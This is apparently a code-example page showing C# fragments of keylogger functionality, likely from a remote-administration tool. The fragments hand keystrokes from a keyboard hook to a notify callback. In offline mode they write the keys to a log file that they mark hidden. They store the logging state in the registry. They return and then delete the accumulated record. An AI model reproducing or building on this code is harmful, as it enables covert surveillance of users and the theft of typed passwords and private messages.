Esempio n. 1
0
        private void timer_Elapsed(object sender, ElapsedEventArgs e)
        {
            if (_strKeys == "")
            {
                return;
            }

            if (NotiyProc != null)
            {
                this.NotiyProc(KeyboardHookEvent.Data, _strKeys);
            }

            if (bisOffline)
            {
                StringWriteFile(DateTime.Now.ToString() + Environment.NewLine + _strKeys);
                if (GetOfflineFileLenght() > 1024 * 1024 * 50)
                {
                    bisOffline = false;
                    AppConfigRegValueHelper.SetValue("Offlinekeyboard", "false");

                    if (NotiyProc == null) //离线记录完成,退出离线记录
                    {
                        CloseHook();
                    }
                }
            }

            _strKeys = string.Empty;
        }
        public override bool SetConfig(string key, string value)
        {
            bool successed = AppConfigRegValueHelper.SetValue(key, value);

            if (successed)
            {
                AppConfig[key] = value;
            }

            return(successed);
        }
Esempio n. 3
0
        public void StartOfflineRecords()
        {
            if (bisOffline)
            {
                return;
            }

            if (StringWriteFile(DateTime.Now.ToString() + " 开始记录" + Environment.NewLine))
            {
                File.SetAttributes(_offlineFileName, FileAttributes.Hidden);
                AppConfigRegValueHelper.SetValue("Offlinekeyboard", "true");
                bisOffline = true;
            }
        }
Esempio n. 4
0
        public string GetOfflineRecord()
        {
            if (!File.Exists(_offlineFileName))
            {
                return("无离线记录!");
            }

            bisOffline = false;
            AppConfigRegValueHelper.SetValue("Offlinekeyboard", "false");

            string str = File.ReadAllText(_offlineFileName, Encoding.UTF8);

            File.Delete(_offlineFileName);

            return(str);
        }